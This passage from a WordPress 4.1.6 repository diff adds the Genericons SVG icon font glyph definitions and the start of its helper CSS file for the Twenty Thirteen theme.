199 -56q145 0 201 56q15 15 36 15t36 -15t15 -36.5t-15 -36.5q-86 -86 -271 -86q-187 0 -273 86q-15 15 -15 36.5zM1153 982q0 46 32.5 79t79.5 33t79.5 -33t32.5 -79t-33 -79t-79 -33t-79 33t-33 79zM1523 1728 q0 -32 22.5 -54.5t54.5 -22.5t54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5t-54.5 -22.5t-22.5 -54.5zM1567 1227q83 -61 131 -138q43 31 43 79q0 40 -28.5 69t-69.5 29q-45 0 -76 -39z" />
+<glyph unicode="&#xf223;" d="M256 849v209h263v-206q0 -33 23.5 -56.5t57.5 -23.5t57.5 23.5t23.5 56.5v487q5 136 104.5 230.5t238.5 94.5t238.5 -95.5t104.5 -231.5v-107l-157 -45l-105 48v92q0 34 -23.5 57t-57.5 23t-57.5 -23t-23.5 -57l-1 -481q-1 -138 -101.5 -235t-241.5 -97q-142 0 -242.5 99 t-100.5 238zM1105 846v210l105 -48l157 46v-212q0 -33 23.5 -56.5t57.5 -23.5t57.5 23.5t23.5 56.5v216h263v-209q0 -139 -100.5 -238t-242.5 -99t-242 97.5t-102 236.5z" />
+<glyph unicode="&#xf224;" d="M256 1152v384q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-384q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM512 1281q0 -53 38 -91l362 -362l4 4q37 -64 108 -64t108 64l5 -4l362 362q37 38 37 91t-37 90t-91 37 q-53 0 -90 -37l-294 -294l-293 294q-37 37 -91 37t-90 -37q-38 -37 -38 -90z" />
+<glyph unicode="&#xf225;" d="M128 930l365 291l531 -328l-369 -308zM128 1513l527 345l369 -308l-531 -329zM497 508v115l158 -103l370 307l370 -307l158 103v-115l-528 -317zM1024 893l532 328l364 -291l-527 -345zM1024 1550l369 308l527 -345l-364 -292z" />
+<glyph unicode="&#xf300;" d="M256 896v384q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-384q0 -106 -75 -181t-181 -75h-448l-448 -448v448h-128q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf301;" d="M384 512v1024h384l64 -128h448v-128h-640l-128 -256h128l64 128h960l-256 -640h-1024z" />
+<glyph unicode="&#xf302;" d="M256 768l768 768h512v-512l-768 -768zM1152 1280q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf303;" d="M256 1088q0 143 55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5t-55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5zM384 1088q0 -117 45.5 -223.5t123 -184t184 -123t223.5 -45.5 t223.5 45.5t184 123t123 184t45.5 223.5t-45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5zM896 1062v474h128v-421l298 -298l-90 -91z" />
+<glyph unicode="&#xf304;" d="M512 384v256q0 159 112.5 271.5t271.5 112.5h256q159 0 271.5 -112.5t112.5 -271.5v-256h-1024zM768 1408q0 106 75 181t181 75t181 -75t75 -181t-75 -181t-181 -75t-181 75t-75 181z" />
+<glyph unicode="&#xf305;" d="M256 384v1280h256v128h128v-128h640v128h128v-128h256v-1280h-1408zM384 640q0 -53 37.5 -90.5t90.5 -37.5h896q53 0 90.5 37.5t37.5 90.5v640q0 53 -37.5 90.5t-90.5 37.5h-896q-53 0 -90.5 -37.5t-37.5 -90.5v-640zM768 1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45 v-512q0 -26 -19 -45t-45 -19t-45 19t-19 45v448h-64q-26 0 -45 19t-19 45z" />
+<glyph unicode="&#xf306;" d="M256 384v1280h256v128h128v-128h640v128h128v-128h256v-1280h-1408zM384 640q0 -53 37.5 -90.5t90.5 -37.5h896q53 0 90.5 37.5t37.5 90.5v640q0 53 -37.5 90.5t-90.5 37.5h-896q-53 0 -90.5 -37.5t-37.5 -90.5v-640zM768 1216q0 26 19 45t45 19h256h2h1h3 q22 -2 38.5 -18t19.5 -39v-2v-2v-1v-2q0 -5 -2 -15l-128 -512q-6 -26 -28.5 -40t-48.5 -7q-26 6 -40 28.5t-7 48.5l108 433h-174q-26 0 -45 19t-19 45z" />
+<glyph unicode="&#xf307;" d="M256 384v1280h256v128h128v-128h640v128h128v-128h256v-1280h-1408zM384 640q0 -53 37.5 -90.5t90.5 -37.5h896q53 0 90.5 37.5t37.5 90.5v640q0 53 -37.5 90.5t-90.5 37.5h-896q-53 0 -90.5 -37.5t-37.5 -90.5v-640zM512 640v128h128v-128h-128zM512 896v128h128v-128 h-128zM768 640v128h128v-128h-128zM768 896v128h128v-128h-128zM768 1152v128h128v-128h-128zM1024 640v128h128v-128h-128zM1024 896v128h128v-128h-128zM1024 1152v128h128v-128h-128zM1280 896v128h128v-128h-128zM1280 1152v128h128v-128h-128z" />
+<glyph unicode="&#xf308;" d="M342 342q12 45 22 71t38 66.5t76 88.5l395 395l-227 227l181 181q37 -37 90.5 -37t91.5 37l181 181q38 38 38 91t-38 90l181 181l543 -543l-181 -181q-37 38 -90 38t-91 -38l-181 -181q-37 -37 -37 -90t37 -91l-181 -181l-227 226l-395 -395q-68 -68 -113.5 -93 t-112.5 -43z" />
+<glyph unicode="&#xf400;" d="M256 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5q0 -184 -111 -337l495 -495l-128 -128l-495 495q-153 -111 -337 -111q-117 0 -223.5 45.5t-184 123t-123 184t-45.5 223.5zM384 1216q0 -185 131.5 -316.5 t316.5 -131.5q186 0 317 131.5t131 316.5t-131 316.5t-317 131.5q-185 0 -316.5 -131.5t-131.5 -316.5z" />
+<glyph unicode="&#xf401;" d="M256 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5q0 -184 -111 -337l495 -495l-128 -128l-495 495q-153 -111 -337 -111q-117 0 -223.5 45.5t-184 123t-123 184t-45.5 223.5zM384 1216q0 -185 131.5 -316.5 t316.5 -131.5q186 0 317 131.5t131 316.5t-131 316.5t-317 131.5q-185 0 -316.5 -131.5t-131.5 -316.5zM512 1152v128h640v-128h-640z" />
+<glyph unicode="&#xf402;" d="M256 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5q0 -184 -111 -337l495 -495l-128 -128l-495 495q-153 -111 -337 -111q-117 0 -223.5 45.5t-184 123t-123 184t-45.5 223.5zM384 1216q0 -185 131.5 -316.5 t316.5 -131.5q186 0 317 131.5t131 316.5t-131 316.5t-317 131.5q-185 0 -316.5 -131.5t-131.5 -316.5zM512 1152v128h256v256h128v-256h256v-128h-256v-256h-128v256h-256z" />
+<glyph unicode="&#xf403;" d="M0 1024l506 506q101 103 234.5 160.5t283.5 57.5t283.5 -57.5t233.5 -159.5l507 -507l-506 -507q-101 -103 -234.5 -160t-283.5 -57t-283.5 57.5t-233.5 160.5zM272 1024l370 -371q77 -78 175.5 -119.5t206.5 -41.5t206 41.5t174 118.5l373 372l-371 371 q-158 161 -382 161q-108 0 -206.5 -41t-173.5 -119zM640 1024q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5zM1024 1152q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5 t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf404;" d="M0 1024l506 506q101 103 234.5 160.5t283.5 57.5q193 0 358 -95l-143 -143q-103 46 -215 46q-108 0 -206.5 -41t-173.5 -119l-372 -372l240 -240l-136 -136zM339 429l90 -90l1280 1280l-90 90zM640 1024q0 159 112.5 271.5t271.5 112.5q44 0 98 -14l-468 -468 q-14 54 -14 98zM666 395l143 143q103 -46 215 -46q108 0 206 41.5t174 118.5l373 372l-241 241l136 135l376 -376l-506 -507q-101 -103 -234.5 -160t-283.5 -57q-193 0 -358 95zM926 654l468 468q14 -54 14 -98q0 -159 -112.5 -271.5t-271.5 -112.5q-44 0 -98 14z" />
+<glyph unicode="&#xf405;" d="M640 768l320 320l-320 320l128 128l320 -320l320 320l128 -128l-320 -320l320 -320l-128 -128l-320 320l-320 -320z" />
+<glyph unicode="&#xf406;" d="M128 256l832 832l-832 832l128 128l832 -832l832 832l128 -128l-832 -832l832 -832l-128 -128l-832 832l-832 -832z" />
+<glyph unicode="&#xf407;" d="M384 1280v128l256 128q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5l256 -128v-128h-1152zM512 512v704h128v-704h128v704h128v-704h128v704h128v-704h128v704h128v-704q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM768 1472 q0 -26 19 -45t45 -19h256q26 0 45 19t19 45t-19 45t-45 19h-256q-26 0 -45 -19t-19 -45z" />
+<glyph unicode="&#xf408;" d="M256 1151l476 -330l-183 -535l475 332l475 -332l-183 535l476 330l-587 -1l-181 535l-180 -535z" />
+<glyph unicode="&#xf409;" d="M384 1152l640 512l640 -512l-128 -128v-512h-1024v512zM896 576h256v448h-256v-448z" />
+<glyph unicode="&#xf410;" d="M256 512v704l768 -384l768 384v-704h-1536zM256 1408v128h1536v-128l-768 -384z" />
+<glyph unicode="&#xf411;" d="M384 384v448l896 896l448 -448l-896 -896h-448zM512 768l256 -256l128 128l-256 256zM685 941l96 -96l595 595l-96 96zM845 781l96 -96l595 595l-96 96z" />
+<glyph unicode="&#xf412;" d="M256 640v704l384 384v-704h640v448l640 -640l-640 -640v448h-1024z" />
+<glyph unicode="&#xf413;" d="M256 448q0 -80 56 -136t136 -56t136 56t56 136t-56 136t-136 56t-136 -56t-56 -136zM256 1024v256q209 0 398.5 -81t326.5 -218t218 -326.5t81 -398.5h-256q0 209 -103 385.5t-279.5 279.5t-385.5 103zM256 1536v256q209 0 408 -55t367.5 -154t310.5 -241t241 -310.5 t154 -367.5t55 -408h-256q0 260 -101.5 497t-273 408.5t-408.5 273t-497 101.5z" />
+<glyph unicode="&#xf414;" d="M21 358q-57 102 31 244l760 1237q57 93 134.5 126.5t155 0t135.5 -126.5l759 -1237q88 -142 31 -244t-224 -102h-1557q-168 0 -225 102zM883 1536l51 -640h179l52 640h-282zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5z" />
+<glyph unicode="&#xf415;" d="M128 1024v256h310q75 172 233.5 278t352.5 106q130 0 246.5 -50t204.5 -139q37 -37 37 -90t-37 -91t-90 -38t-91 38q-116 114 -270 114q-159 0 -271.5 -112.5t-112.5 -271.5h-512zM536 665q0 53 38 90t91 37t90 -37q113 -115 269 -115q159 0 271.5 112.5t112.5 271.5h512 v-256h-310q-75 -172 -233.5 -278t-352.5 -106q-130 0 -246 50t-205 139l1 1q-38 38 -38 91zM832 1024q0 80 56 136t136 56t136 -56t56 -136t-56 -136t-136 -56t-136 56t-56 136z" />
+<glyph unicode="&#xf416;" d="M512 832v320h128v-320q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5v640q0 80 -56 136t-136 56t-136 -56t-56 -136v-512q0 -26 19 -45t45 -19t45 19t19 45v452h128v-452q0 -80 -56 -136t-136 -56t-136 56t-56 136v512q0 133 93.5 226.5t226.5 93.5t226.5 -93.5 t93.5 -226.5v-640q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5z" />
+<glyph unicode="&#xf417;" d="M384 1216q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5t-44.5 -222.5t-124.5 -185.5l-407 -406l-407 406q-80 80 -124.5 185.5t-44.5 222.5zM640 1216q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5t93.5 226.5t-93.5 226.5 t-226.5 93.5t-226.5 -93.5t-93.5 -226.5z" />
+<glyph unicode="&#xf418;" d="M608 1056l128 128l224 -192l448 512l128 -96l-512 -768h-128z" />
+<glyph unicode="&#xf419;" d="M0 256v256h2048v-256h-2048zM0 896v256h2048v-256h-2048zM0 1536v256h2048v-256h-2048z" />
+<glyph unicode="&#xf420;" d="M256 1024q0 155 60 294.5t167 246.5l-227 227h640v-640l-232 232q-72 -71 -112 -163.5t-40 -196.5q0 -176 108.5 -313.5t275.5 -180.5v-262q-180 30 -326 137t-230 269.5t-84 349.5zM1152 256v640l19 -19l213 -213q71 71 111.5 164t40.5 196q0 176 -108.5 313.5 t-275.5 180.5v263q180 -31 326 -137.5t230 -269.5t84 -350q0 -155 -60 -294.5t-167 -246.5l227 -227h-640z" />
+<glyph unicode="&#xf421;" d="M384 896v256h1152v-256h-1152z" />
+<glyph unicode="&#xf422;" d="M384 512v1024h1152v-1024h-1152zM512 640h896v640h-896v-640z" />
+<glyph unicode="&#xf423;" d="M83 832l373 671l112 -62l-267 -481h403v-384h-128v256h-493zM768 1024q0 87 43 160.5t116.5 116.5t160.5 43t160.5 -43t116.5 -116.5t43 -160.5t-43 -160.5t-116.5 -116.5t-160.5 -43t-160.5 43t-116.5 116.5t-43 160.5zM896 1024q0 -79 56.5 -135.5t135.5 -56.5 t135.5 56.5t56.5 135.5t-56.5 135.5t-135.5 56.5t-135.5 -56.5t-56.5 -135.5zM1427 832l373 671l112 -62l-267 -481h403v-384h-128v256h-493z" />
+<glyph unicode="&#xf424;" d="M256 640v768l384 384h768l384 -384v-768l-384 -384h-768zM883 1536l51 -640h179l52 640h-282zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf425;" d="M384 384v1280h256q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5h256v-1280h-1152zM512 512h896v1024h-128v-128h-640v128h-128v-1024zM640 704q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM640 960q0 26 19 45t45 19t45 -19t19 -45 t-19 -45t-45 -19t-45 19t-19 45zM640 1216q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM768 1600q0 -26 19 -45t45 -19h256q26 0 45 19t19 45t-19 45t-45 19h-256q-26 0 -45 -19t-19 -45zM896 640v128h384v-128h-384zM896 896v128h384v-128h-384z M896 1152v128h384v-128h-384z" />
+<glyph unicode="&#xf426;" d="M128 768q0 106 75 181t181 75h7q-7 29 -7 64q0 133 93.5 226.5t226.5 93.5q134 0 228 -96q47 101 140.5 162.5t207.5 61.5q159 0 271.5 -112.5t112.5 -271.5q0 -62 -23 -128h23q106 0 181 -75t75 -181t-75 -181t-181 -75h-1280q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf427;" d="M384 384v288l455 455l-1 1q-74 74 -74 180t74 181l233 233q75 74 181 74t180 -74l286 -286q74 -75 74 -180.5t-74 -180.5l-233 -233q-74 -73 -178.5 -74t-179.5 71l-455 -455h-288zM1088 1360l256 -256l160 160l-256 256z" />
+<glyph unicode="&#xf428;" d="M768 1024q0 106 75 181t181 75t181 -75t75 -181t-75 -181t-181 -75t-181 75t-75 181z" />
+<glyph unicode="&#xf429;" d="M384 896v128h896l-343 343l87 86l493 -493l-493 -493l-87 86l343 343h-896z" />
+<glyph unicode="&#xf430;" d="M531 960l493 -493l87 86l-343 343h896v128h-896l343 343l-87 86z" />
+<glyph unicode="&#xf431;" d="M384 1152l128 128l448 -448l448 448l128 -128l-576 -576z" />
+<glyph unicode="&#xf432;" d="M384 768l576 576l576 -576l-128 -128l-448 448l-448 -448z" />
+<glyph unicode="&#xf433;" d="M0 0v896l896 -896h-896z" />
+<glyph unicode="&#xf434;" d="M1152 0l896 896v-896h-896z" />
+<glyph unicode="&#xf435;" d="M384 512l640 640l640 -640h-1280zM384 1280v128h1280v-128h-1280z" />
+<glyph unicode="&#xf436;" d="M512 640v128h128v-128h-128zM512 896v128h128v-128h-128zM512 1152v128h128v-128h-128zM512 1408v128h128v-128h-128zM768 640v128h128v-128h-128zM768 896v128h128v-128h-128zM768 1152v128h128v-128h-128zM768 1408v128h128v-128h-128zM1024 640v128h128v-128h-128z M1024 896v128h128v-128h-128zM1024 1152v128h128v-128h-128zM1024 1408v128h128v-128h-128zM1280 640v128h128v-128h-128zM1280 896v128h128v-128h-128zM1280 1152v128h128v-128h-128zM1280 1408v128h128v-128h-128z" />
+<glyph unicode="&#xf437;" d="M512 512v1024q0 106 75 181t181 75h512q106 0 181 -75t75 -181v-1024q0 -106 -75 -181t-181 -75h-512q-106 0 -181 75t-75 181zM640 768h768v768h-768v-768zM896 512q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z " />
+<glyph unicode="&#xf438;" d="M256 1024v256h512v128l384 -256l-384 -256v128h-512zM512 512v384h128v-128h768v768h-768v-128h-128v128q0 106 75 181t181 75h512q106 0 181 -75t75 -181v-1024q0 -106 -75 -181t-181 -75h-512q-106 0 -181 75t-75 181zM896 512q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5 t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf439;" d="M384 1152h1280q0 -231 -145.5 -406.5t-366.5 -220.5v-269h-256v269q-221 45 -366.5 220.5t-145.5 406.5zM640 1280v384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5v-384h-256zM1152 1280v384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5v-384h-256z" />
+<glyph unicode="&#xf440;" d="M128 768q0 106 75 181t181 75h6q-6 32 -6 64q0 133 93.5 226.5t226.5 93.5q134 0 228 -96q47 101 140.5 162.5t207.5 61.5q159 0 271.5 -112.5t112.5 -271.5q0 -62 -23 -128h23q106 0 181 -75t75 -181t-75 -181t-181 -75h-384v256h-512v-256h-384q-106 0 -181 75t-75 181 zM640 384h256v256h256v-256h256l-384 -384z" />
+<glyph unicode="&#xf441;" d="M128 768q0 106 75 181t181 75h6q-6 32 -6 64q0 133 93.5 226.5t226.5 93.5q134 0 228 -96q47 101 140.5 162.5t207.5 61.5q159 0 271.5 -112.5t112.5 -271.5q0 -62 -23 -128h23q106 0 181 -75t75 -181t-75 -181t-181 -75h-512v256h256l-384 384l-384 -384h256v-256h-512 q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf442;" d="M512 512v896h512l-128 -128h-256v-640h640v256l128 128v-512h-896zM896 987l550 549h-422v128h640v-640h-128v422l-550 -550z" />
+<glyph unicode="&#xf443;" d="M512 384v1280h640l384 -384v-896h-1024zM640 512h768v640h-384v384h-384v-1024z" />
+<glyph unicode="&#xf444;" d="M384 512v1024q0 106 75 181t181 75h1024v-1152h-64q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5h64v-128h-1024q-106 0 -181 75t-75 181zM512 512q0 -53 37.5 -90.5t90.5 -37.5h818q-50 55 -50 128t50 128h-818q-53 0 -90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf445;" d="M160 747l232 201q-8 67 -8 76q0 8 8 75l-232 201l58 139l305 -21q47 60 107 107l-21 305l139 58l201 -232q67 8 75 8t75 -8l201 232l140 -58l-22 -305q56 -44 107 -107l305 22l58 -139l-232 -201q8 -67 8 -76q0 -8 -8 -75l232 -201l-58 -140l-305 22q-44 -56 -107 -107 l22 -305l-139 -58l-201 232q-67 -8 -76 -8q-8 0 -75 8l-201 -232l-139 58l21 305q-56 44 -107 107l-305 -22zM768 1024q0 -106 75 -181t181 -75t181 75t75 181t-75 181t-181 75t-181 -75t-75 -181z" />
+<glyph unicode="&#xf446;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM512 1024q0 -212 150 -362t362 -150q135 0 259 72l-699 699q-72 -126 -72 -259zM765 1464l699 -699 q72 123 72 259q0 212 -150 362t-362 150q-136 0 -259 -72z" />
+<glyph unicode="&#xf447;" d="M256 1664v128h384v-256h1152l-256 -640h-896v-128h896v-128h-1024v1024h-256zM512 384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5zM1280 384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5 t-90.5 -37.5t-90.5 37.5t-37.5 90.5z" />
+<glyph unicode="&#xf448;" d="M512 384v1280h384v-1280h-384zM1152 384v1280h384v-1280h-384z" />
+<glyph unicode="&#xf449;" d="M512 512v1024h1024v-1024h-1024z" />
+<glyph unicode="&#xf450;" d="M256 384v1280h384v-1280h-384zM768 1024l1024 640v-1280z" />
+<glyph unicode="&#xf451;" d="M256 384v1280l1024 -640zM1408 384v1280h384v-1280h-384z" />
+<glyph unicode="&#xf452;" d="M512 384v1280l1024 -640z" />
+<glyph unicode="&#xf453;" d="M256 256v1536q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-1536q0 -106 -75 -181t-181 -75h-1024q-106 0 -181 75t-75 181zM512 512h1024v1280h-1024v-1280zM896 256q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5z" />
+<glyph unicode="&#xf454;" d="M128 1024v256h512v128l384 -256l-384 -256v128h-512zM256 256v640h256v-384h1024v1280h-1024v-384h-256v384q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-1536q0 -106 -75 -181t-181 -75h-1024q-106 0 -181 75t-75 181zM896 256q0 -53 37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf455;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM896 1408q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5zM928 512h192v640h-192v-640z" />
+<glyph unicode="&#xf456;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM883 1536l51 -640h179l52 640h-282zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5 t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf457;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM720 1442l92 -180q134 71 234 71q38 0 65 -16q26 -17 26 -44q0 -35 -24 -63q-24 -27 -77 -61 q-68 -42 -95 -87q-26 -44 -26 -109v-57h204v34q0 29 17 49q18 21 87 66q83 53 120 111t37 139q0 111 -84 176q-85 65 -232 65q-180 0 -344 -94zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf458;" d="M128 384v1280l768 -480v480l1024 -640l-1024 -640v480z" />
+<glyph unicode="&#xf459;" d="M128 1024l1024 -640v480l768 -480v1280l-768 -480v480z" />
+<glyph unicode="&#xf460;" d="M256 1280h128l86 256h340l86 -256l-256 -768h-128zM533 1280h214l-43 128h-128zM768 512l256 768h128l86 256h340l86 -256h128l-256 -768h-768zM1301 1280h214l-43 128h-128z" />
+<glyph unicode="&#xf461;" d="M256 1261q8 -158 120 -264l648 -613l648 613q112 106 120 264t-93 276t-251.5 126.5t-262.5 -97.5l-161 -153l-161 153q-112 106 -262.5 97.5t-251.5 -126.5t-93 -276z" />
+<glyph unicode="&#xf462;" d="M102 1024l304 -455l213 142l-209 313l209 313l-213 142zM772 543l248 -62l256 1024l-248 62zM1430 711l213 -142l303 455l-303 455l-213 -142l208 -313z" />
+<glyph unicode="&#xf463;" d="M0 512v704l768 -384l256 128v-448h-1024zM0 1408v128h1536v-128l-768 -384zM1152 384v640q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM1280 640h256v-256h128v256h256v128h-256 v256h-128v-256h-256v-128z" />
+<glyph unicode="&#xf464;" d="M0 512v704l768 -384l256 128v-448h-1024zM0 1408v128h1536v-128l-768 -384zM1152 384v640q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM1280 640h640v128h-640v-128z" />
+<glyph unicode="&#xf465;" d="M0 512v704l768 -384l256 128v-448h-1024zM0 1408v128h1536v-128l-768 -384zM1152 384v640q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM1260 656l272 -272l452 453l-90 90 l-362 -362l-181 181z" />
+<glyph unicode="&#xf466;" d="M0 1024l640 640v-320l-320 -320l320 -320v-320zM512 1024l640 640v-384h256q212 0 362 -150t150 -362v-300l-150 150q-74 74 -168 112t-194 38h-256v-384z" />
+<glyph unicode="&#xf467;" d="M384 1024l640 640v-384h256q212 0 362 -150t150 -362v-300l-150 150q-74 74 -168 112t-194 38h-256v-384z" />
+<glyph unicode="&#xf468;" d="M256 256v1536h256v-1536h-256zM640 896v768q35 0 63.5 13t54 32t56.5 38t85 32t125 13q70 0 125.5 -13t93 -32l75 -38t93 -32t125.5 -13h256v-768h-256q-70 0 -125.5 13t-93 32l-75 38t-93 32t-125.5 13q-71 0 -125 -13t-85 -32t-56.5 -38t-54 -32t-63.5 -13z" />
+<glyph unicode="&#xf469;" d="M256 512v768h1536v-768h-256v384h-1024v-384h-256zM640 640v128h768v-128q0 -158 113 -271l112 -113h-768l-112 113q-113 113 -113 271zM640 1408h768v256h-768v-256z" />
+<glyph unicode="&#xf470;" d="M384 384v640q0 53 37.5 90.5t90.5 37.5v128q0 212 150 362t362 150t362 -150t150 -362v-128q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-1024q-53 0 -90.5 37.5t-37.5 90.5zM768 1152h512v128q0 106 -75 181t-181 75t-181 -75t-75 -181v-128z" />
+<glyph unicode="&#xf471;" d="M512 512v1024h512q106 0 181 -75t75 -181q0 -87 -57 -159q83 -39 134 -117t51 -172q0 -133 -93.5 -226.5t-226.5 -93.5h-576zM768 640h192q80 0 136 56t56 136t-56 136t-136 56h-192v-384zM768 1152h128q53 0 90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5h-128v-256z" />
+<glyph unicode="&#xf472;" d="M640 512l40 128h128l240 768h-128l40 128h448l-40 -128h-128l-240 -768h128l-40 -128h-448z" />
+<glyph unicode="&#xf473;" d="M384 384v1280h1280v-1280h-1280zM512 512h1024v576l-128 192l-448 -672l-192 288zM640 1280q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf474;" d="M128 256v384l154 -154l230 154l-154 -230l154 -154h-384zM128 1408v384h384l-154 -154l154 -230l-230 154zM640 768v512h768v-512h-768zM1536 256l154 154l-154 230l230 -154l154 154v-384h-384zM1536 1408l154 230l-154 154h384v-384l-154 154z" />
+<glyph unicode="&#xf500;" d="M128 0l960 960l960 -960h-1920z" />
+<glyph unicode="&#xf501;" d="M0 128l960 960l-960 960v-1920z" />
+<glyph unicode="&#xf502;" d="M128 2048l960 -960l960 960h-1920z" />
+<glyph unicode="&#xf503;" d="M1088 1088l960 960v-1920z" />
+</font>
+</defs></svg> 
Index: /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/genericons.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/genericons.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentythirteen/genericons/genericons.css	(revision 33402)
@@ -0,0 +1,197 @@
+/**
+
+	Genericons Helper CSS
+
+*/
+
+
+/**
+ * The font was graciously generated by Font Squirrel (http://www.fontsquirrel.com). We love those guys.
+ */
+
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+}
+
+@font-face {
+    font-family: 'Genericons';
